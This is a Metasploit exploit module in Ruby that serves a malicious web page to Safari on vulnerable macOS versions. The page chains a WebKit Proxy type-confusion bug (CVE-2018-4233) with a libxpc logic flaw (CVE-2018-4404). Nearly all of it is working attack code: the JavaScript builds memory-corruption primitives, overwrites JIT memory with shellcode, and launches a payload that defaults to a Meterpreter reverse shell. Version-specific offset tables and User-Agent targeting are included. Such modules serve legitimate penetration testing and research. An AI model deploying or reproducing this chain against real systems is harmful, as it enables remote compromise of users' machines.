510 lines
No EOL
16 KiB
Ruby
Executable file
510 lines
No EOL
16 KiB
Ruby
Executable file
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ManualRanking
|
|
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::Remote::HttpServer
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Safari Proxy Object Type Confusion',
|
|
'Description' => %q{
|
|
This module exploits a type confusion bug in the Javascript Proxy object in
|
|
WebKit. The DFG JIT does not take into account that, through the use of a Proxy,
|
|
it is possible to run arbitrary JS code during the execution of a CreateThis
|
|
operation. This makes it possible to change the structure of e.g. an argument
|
|
without causing a bailout, leading to a type confusion (CVE-2018-4233).
|
|
|
|
The JIT region is then replaced with shellcode which loads the second stage.
|
|
The second stage exploits a logic error in libxpc, which uses command execution
|
|
via the launchd's "spawn_via_launchd" API (CVE-2018-4404).
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'saelo' ],
|
|
'References' => [
|
|
['CVE', '2018-4233'],
|
|
['CVE', '2018-4404'],
|
|
['URL', 'https://github.com/saelo/cve-2018-4233'],
|
|
['URL', 'https://github.com/saelo/pwn2own2018'],
|
|
['URL', 'https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf'],
|
|
],
|
|
'Arch' => [ ARCH_PYTHON, ARCH_CMD ],
|
|
'Platform' => 'osx',
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' },
|
|
'Targets' => [
|
|
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
|
|
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
|
|
],
|
|
'DisclosureDate' => 'Mar 15 2018'))
|
|
register_advanced_options([
|
|
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information in the exploit javascript", false]),
|
|
])
|
|
end
|
|
|
|
def offset_table
|
|
{
|
|
'10.12.6' => {
|
|
:jsc_vtab => '0x0000d8d8',
|
|
:dyld_stub_loader => '0x00001168',
|
|
:dlopen => '0x000027f7',
|
|
:confstr => '0x00002c84',
|
|
:strlen => '0x00001b40',
|
|
:strlen_got => '0xdc0',
|
|
},
|
|
'10.13' => {
|
|
:jsc_vtab => '0x0000e5f8',
|
|
:dyld_stub_loader => '0x000012a8',
|
|
:dlopen => '0x00002e60',
|
|
:confstr => '0x000024fc',
|
|
:strlen => '0x00001440',
|
|
:strlen_got => '0xee8',
|
|
},
|
|
'10.13.3' => {
|
|
:jsc_vtab => '0xe5e8',
|
|
:dyld_stub_loader => '0x1278',
|
|
:dlopen => '0x2e30',
|
|
:confstr => '0x24dc',
|
|
:strlen => '0x1420',
|
|
:strlen_got => '0xee0',
|
|
},
|
|
}
|
|
end
|
|
|
|
def exploit_data(directory, file)
|
|
path = ::File.join Msf::Config.data_directory, 'exploits', directory, file
|
|
::File.binread path
|
|
end
|
|
|
|
def stage1_js
|
|
stage1 = exploit_data "CVE-2018-4233", "stage1.bin"
|
|
"var stage1 = new Uint8Array([#{Rex::Text::to_num(stage1)}]);"
|
|
end
|
|
|
|
def stage2_js
|
|
stage2 = exploit_data "CVE-2018-4404", "stage2.dylib"
|
|
payload_cmd = payload.raw
|
|
if target['Arch'] == ARCH_PYTHON
|
|
payload_cmd = "echo \"#{payload_cmd}\" | python"
|
|
end
|
|
placeholder_index = stage2.index('PAYLOAD_CMD_PLACEHOLDER')
|
|
stage2[placeholder_index, payload_cmd.length] = payload_cmd
|
|
"var stage2 = new Uint8Array([#{Rex::Text::to_num(stage2)}]);"
|
|
end
|
|
|
|
def get_offsets(user_agent)
|
|
if user_agent =~ /Intel Mac OS X (.*?)\)/
|
|
version = $1.gsub("_", ".")
|
|
mac_osx_version = Gem::Version.new(version)
|
|
if mac_osx_version >= Gem::Version.new('10.13.4')
|
|
print_warning "macOS version #{mac_osx_version} is not vulnerable"
|
|
elsif mac_osx_version < Gem::Version.new('10.12')
|
|
print_warning "macOS version #{mac_osx_version} is not vulnerable"
|
|
elsif offset_table.key?(version)
|
|
offset = offset_table[version]
|
|
return <<-EOF
|
|
const JSC_VTAB_OFFSET = #{offset[:jsc_vtab]};
|
|
const DYLD_STUB_LOADER_OFFSET = #{offset[:dyld_stub_loader]};
|
|
const DLOPEN_OFFSET = #{offset[:dlopen]};
|
|
const CONFSTR_OFFSET = #{offset[:confstr]};
|
|
const STRLEN_OFFSET = #{offset[:strlen]};
|
|
const STRLEN_GOT_OFFSET = #{offset[:strlen_got]};
|
|
EOF
|
|
else
|
|
print_warning "No offsets for version #{mac_osx_version}"
|
|
end
|
|
else
|
|
print_warning "Unexpected User-Agent"
|
|
end
|
|
return false
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
user_agent = request['User-Agent']
|
|
print_status("Request from #{user_agent}")
|
|
offsets = get_offsets(user_agent)
|
|
unless offsets
|
|
send_not_found(cli)
|
|
return
|
|
end
|
|
|
|
utils = exploit_data "CVE-2018-4233", "utils.js"
|
|
int64 = exploit_data "CVE-2018-4233", "int64.js"
|
|
html = %Q^
|
|
<html>
|
|
<body>
|
|
<script>
|
|
#{stage1_js}
|
|
stage1.replace = function(oldVal, newVal) {
|
|
for (var idx = 0; idx < this.length; idx++) {
|
|
var found = true;
|
|
for (var j = idx; j < idx + 8; j++) {
|
|
if (this[j] != oldVal.byteAt(j - idx)) {
|
|
found = false;
|
|
break;
|
|
}
|
|
}
|
|
if (found)
|
|
break;
|
|
}
|
|
this.set(newVal.bytes(), idx);
|
|
};
|
|
#{stage2_js}
|
|
#{utils}
|
|
#{int64}
|
|
#{offsets}
|
|
|
|
var ready = new Promise(function(resolve) {
|
|
if (typeof(window) === 'undefined')
|
|
resolve();
|
|
else
|
|
window.onload = function() {
|
|
resolve();
|
|
}
|
|
});
|
|
|
|
ready = Promise.all([ready]);
|
|
|
|
print = function(msg) {
|
|
//console.log(msg);
|
|
//document.body.innerText += msg + '\\n';
|
|
}
|
|
|
|
// Must create this indexing type transition first,
|
|
// otherwise the JIT will deoptimize later.
|
|
var a = [13.37, 13.37];
|
|
a[0] = {};
|
|
|
|
var referenceFloat64Array = new Float64Array(0x1000);
|
|
|
|
//
|
|
// Bug: the DFG JIT does not take into account that, through the use of a
|
|
// Proxy, it is possible to run arbitrary JS code during the execution of a
|
|
// CreateThis operation. This makes it possible to change the structure of e.g.
|
|
// an argument without causing a bailout, leading to a type confusion.
|
|
//
|
|
|
|
//
|
|
// addrof primitive
|
|
//
|
|
function setupAddrof() {
|
|
function InfoLeaker(a) {
|
|
this.address = a[0];
|
|
}
|
|
|
|
var trigger = false;
|
|
var leakme = null;
|
|
var arg = null;
|
|
|
|
var handler = {
|
|
get(target, propname) {
|
|
if (trigger)
|
|
arg[0] = leakme;
|
|
return target[propname];
|
|
},
|
|
};
|
|
var InfoLeakerProxy = new Proxy(InfoLeaker, handler);
|
|
|
|
for (var i = 0; i < 100000; i++) {
|
|
new InfoLeakerProxy([1.1, 2.2, 3.3]);
|
|
}
|
|
|
|
trigger = true;
|
|
|
|
return function(obj) {
|
|
leakme = obj;
|
|
arg = [1.1, 1.1];
|
|
var o = new InfoLeakerProxy(arg);
|
|
return o.address;
|
|
};
|
|
}
|
|
|
|
//
|
|
// fakeobj primitive
|
|
//
|
|
function setupFakeobj() {
|
|
function ObjFaker(a, address) {
|
|
a[0] = address;
|
|
}
|
|
|
|
var trigger = false;
|
|
var arg = null;
|
|
|
|
var handler = {
|
|
get(target, propname) {
|
|
if (trigger)
|
|
arg[0] = {};
|
|
return target[propname];
|
|
},
|
|
};
|
|
var ObjFakerProxy = new Proxy(ObjFaker, handler);
|
|
|
|
for (var i = 0; i < 100000; i++) {
|
|
new ObjFakerProxy([1.1, 2.2, 3.3], 13.37);
|
|
}
|
|
|
|
trigger = true;
|
|
|
|
return function(address) {
|
|
arg = [1.1, 1.1];
|
|
var o = new ObjFakerProxy(arg, address);
|
|
return arg[0];
|
|
};
|
|
}
|
|
|
|
function makeJITCompiledFunction() {
|
|
// Some code to avoid inlining...
|
|
function target(num) {
|
|
for (var i = 2; i < num; i++) {
|
|
if (num % i === 0) {
|
|
return false;
|
|
}
|
|
}
|
|
return true;
|
|
}
|
|
|
|
// Force JIT compilation.
|
|
for (var i = 0; i < 1000; i++) {
|
|
target(i);
|
|
}
|
|
for (var i = 0; i < 1000; i++) {
|
|
target(i);
|
|
}
|
|
for (var i = 0; i < 1000; i++) {
|
|
target(i);
|
|
}
|
|
return target;
|
|
}
|
|
|
|
function pwn() {
|
|
// Spray Float64Array structures so that structure ID 0x1000 will
|
|
// be a Float64Array with very high probability
|
|
var structs = [];
|
|
for (var i = 0; i < 0x1000; i++) {
|
|
var a = new Float64Array(1);
|
|
a['prop' + i] = 1337;
|
|
structs.push(a);
|
|
}
|
|
|
|
// Setup exploit primitives
|
|
var addrofOnce = setupAddrof();
|
|
var fakeobjOnce = setupFakeobj();
|
|
|
|
// (Optional) Spray stuff to keep the background GC busy and increase reliability even further
|
|
/*
|
|
var stuff = [];
|
|
for (var i = 0; i < 0x100000; i++) {
|
|
stuff.push({foo: i});
|
|
}
|
|
*/
|
|
|
|
var float64MemView = new Float64Array(0x200);
|
|
var uint8MemView = new Uint8Array(0x1000);
|
|
|
|
// Setup container to host the fake Float64Array
|
|
var jsCellHeader = new Int64([
|
|
00, 0x10, 00, 00, // m_structureID
|
|
0x0, // m_indexingType
|
|
0x2b, // m_type
|
|
0x08, // m_flags
|
|
0x1 // m_cellState
|
|
]);
|
|
|
|
var container = {
|
|
jsCellHeader: jsCellHeader.asJSValue(),
|
|
butterfly: null,
|
|
vector: float64MemView,
|
|
length: (new Int64('0x0001000000001337')).asJSValue(),
|
|
mode: {}, // an empty object, we'll need that later
|
|
};
|
|
|
|
// Leak address and inject fake object
|
|
// RawAddr == address in float64 form
|
|
var containerRawAddr = addrofOnce(container);
|
|
var fakeArrayAddr = Add(Int64.fromDouble(containerRawAddr), 16);
|
|
print("[+] Fake Float64Array @ " + fakeArrayAddr);
|
|
|
|
///
|
|
/// BEGIN CRITICAL SECTION
|
|
///
|
|
/// Objects are corrupted, a GC would now crash the process.
|
|
/// We'll try to repair everything as quickly as possible and with a minimal amount of memory allocations.
|
|
///
|
|
var driver = fakeobjOnce(fakeArrayAddr.asDouble());
|
|
while (!(driver instanceof Float64Array)) {
|
|
jsCellHeader.assignAdd(jsCellHeader, Int64.One);
|
|
container.jsCellHeader = jsCellHeader.asJSValue();
|
|
}
|
|
|
|
// Get some addresses that we'll need to repair our objects. We'll abuse the .mode
|
|
// property of the container to leak addresses.
|
|
driver[2] = containerRawAddr;
|
|
var emptyObjectRawAddr = float64MemView[6];
|
|
container.mode = referenceFloat64Array;
|
|
var referenceFloat64ArrayRawAddr = float64MemView[6];
|
|
|
|
// Fixup the JSCell header of the container to make it look like an empty object.
|
|
// By default, JSObjects have an inline capacity of 6, enough to hold the fake Float64Array.
|
|
driver[2] = emptyObjectRawAddr;
|
|
var header = float64MemView[0];
|
|
driver[2] = containerRawAddr;
|
|
float64MemView[0] = header;
|
|
|
|
// Copy the JSCell header from an existing Float64Array and set the butterfly to zero.
|
|
// Also set the mode: make it look like an OversizeTypedArray for easy GC survival
|
|
// (see JSGenericTypedArrayView<Adaptor>::visitChildren).
|
|
driver[2] = referenceFloat64ArrayRawAddr;
|
|
var header = float64MemView[0];
|
|
var length = float64MemView[3];
|
|
var mode = float64MemView[4];
|
|
driver[2] = containerRawAddr;
|
|
float64MemView[2] = header;
|
|
float64MemView[3] = 0;
|
|
float64MemView[5] = length;
|
|
float64MemView[6] = mode;
|
|
|
|
// Root the container object so it isn't garbage collected.
|
|
// This will allocate a butterfly for the fake object and store a reference to the container there.
|
|
// The fake array itself is rooted by the memory object (closures).
|
|
driver.container = container;
|
|
|
|
///
|
|
/// END CRITICAL SECTION
|
|
///
|
|
/// Objects are repaired, we will now survive a GC
|
|
///
|
|
if (typeof(gc) !== 'undefined')
|
|
gc();
|
|
|
|
memory = {
|
|
read: function(addr, length) {
|
|
driver[2] = memory.addrof(uint8MemView).asDouble();
|
|
float64MemView[2] = addr.asDouble();
|
|
var a = new Array(length);
|
|
for (var i = 0; i < length; i++)
|
|
a[i] = uint8MemView[i];
|
|
return a;
|
|
},
|
|
|
|
write: function(addr, data) {
|
|
driver[2] = memory.addrof(uint8MemView).asDouble();
|
|
float64MemView[2] = addr.asDouble();
|
|
for (var i = 0; i < data.length; i++)
|
|
uint8MemView[i] = data[i];
|
|
},
|
|
|
|
read8: function(addr) {
|
|
driver[2] = addr.asDouble();
|
|
return Int64.fromDouble(float64MemView[0]);
|
|
},
|
|
|
|
write8: function(addr, value) {
|
|
driver[2] = addr.asDouble();
|
|
float64MemView[0] = value.asDouble();
|
|
},
|
|
|
|
addrof: function(obj) {
|
|
float64MemView.leakme = obj;
|
|
var butterfly = Int64.fromDouble(driver[1]);
|
|
return memory.read8(Sub(butterfly, 0x10));
|
|
},
|
|
};
|
|
|
|
print("[+] Got stable memory read/write!");
|
|
|
|
// Find binary base
|
|
var funcAddr = memory.addrof(Math.sin);
|
|
var executableAddr = memory.read8(Add(funcAddr, 24));
|
|
var codeAddr = memory.read8(Add(executableAddr, 24));
|
|
var vtabAddr = memory.read8(codeAddr);
|
|
var jscBaseUnaligned = Sub(vtabAddr, JSC_VTAB_OFFSET);
|
|
print("[*] JavaScriptCore.dylib @ " + jscBaseUnaligned);
|
|
var jscBase = And(jscBaseUnaligned, new Int64("0x7ffffffff000"));
|
|
print("[*] JavaScriptCore.dylib @ " + jscBase);
|
|
|
|
var dyldStubLoaderAddr = memory.read8(jscBase);
|
|
var dyldBase = Sub(dyldStubLoaderAddr, DYLD_STUB_LOADER_OFFSET);
|
|
var strlenAddr = memory.read8(Add(jscBase, STRLEN_GOT_OFFSET));
|
|
var libCBase = Sub(strlenAddr, STRLEN_OFFSET);
|
|
print("[*] dyld.dylib @ " + dyldBase);
|
|
print("[*] libsystem_c.dylib @ " + libCBase);
|
|
|
|
var confstrAddr = Add(libCBase, CONFSTR_OFFSET);
|
|
print("[*] confstr @ " + confstrAddr);
|
|
var dlopenAddr = Add(dyldBase, DLOPEN_OFFSET);
|
|
print("[*] dlopen @ " + dlopenAddr);
|
|
|
|
// Patching shellcode
|
|
var stage2Addr = memory.addrof(stage2);
|
|
stage2Addr = memory.read8(Add(stage2Addr, 16));
|
|
print("[*] Stage 2 payload @ " + stage2Addr);
|
|
|
|
stage1.replace(new Int64("0x4141414141414141"), confstrAddr);
|
|
stage1.replace(new Int64("0x4242424242424242"), stage2Addr);
|
|
stage1.replace(new Int64("0x4343434343434343"), new Int64(stage2.length));
|
|
stage1.replace(new Int64("0x4444444444444444"), dlopenAddr);
|
|
print("[+] Shellcode patched");
|
|
|
|
// Leak JITCode pointer poison value
|
|
var poison_addr = Add(jscBase, 305152);
|
|
print("[*] Poison value @ " + poison_addr);
|
|
var poison = memory.read8(poison_addr);
|
|
print("[*] Poison value: " + poison);
|
|
|
|
// Shellcode
|
|
var func = makeJITCompiledFunction();
|
|
var funcAddr = memory.addrof(func);
|
|
print("[+] Shellcode function object @ " + funcAddr);
|
|
var executableAddr = memory.read8(Add(funcAddr, 24));
|
|
print("[+] Executable instance @ " + executableAddr);
|
|
var jitCodeAddr = memory.read8(Add(executableAddr, 24));
|
|
print("[+] JITCode instance @ " + jitCodeAddr);
|
|
|
|
var codeAddrPoisoned = memory.read8(Add(jitCodeAddr, 32));
|
|
var codeAddr = Xor(codeAddrPoisoned, poison);
|
|
print("[+] RWX memory @ " + codeAddr.toString());
|
|
print("[+] Writing shellcode...");
|
|
var origCode = memory.read(codeAddr, stage1.length);
|
|
memory.write(codeAddr, stage1);
|
|
|
|
print("[!] Jumping into shellcode...");
|
|
var res = func();
|
|
if (res === 0) {
|
|
print("[+] Shellcode executed sucessfully!");
|
|
} else {
|
|
print("[-] Shellcode failed to execute: error " + res);
|
|
}
|
|
|
|
memory.write(codeAddr, origCode);
|
|
print("[*] Restored previous JIT code");
|
|
|
|
print("[+] We are done here, continuing WebContent process as if nothing happened =)");
|
|
if (typeof(gc) !== 'undefined')
|
|
gc();
|
|
}
|
|
|
|
ready.then(function() {
|
|
try {
|
|
pwn();
|
|
} catch (e) {
|
|
print("[-] Exception caught: " + e);
|
|
}
|
|
}).catch(function(err) {
|
|
print("[-] Initializatin failed");
|
|
});
|
|
|
|
</script>
|
|
</body>
|
|
</html>
|
|
^
|
|
unless datastore['DEBUG_EXPLOIT']
|
|
html.gsub!(/^\s*print\s*\(.*?\);\s*$/, '')
|
|
end
|
|
send_response(cli, html, {'Content-Type'=>'text/html'})
|
|
end
|
|
|
|
end |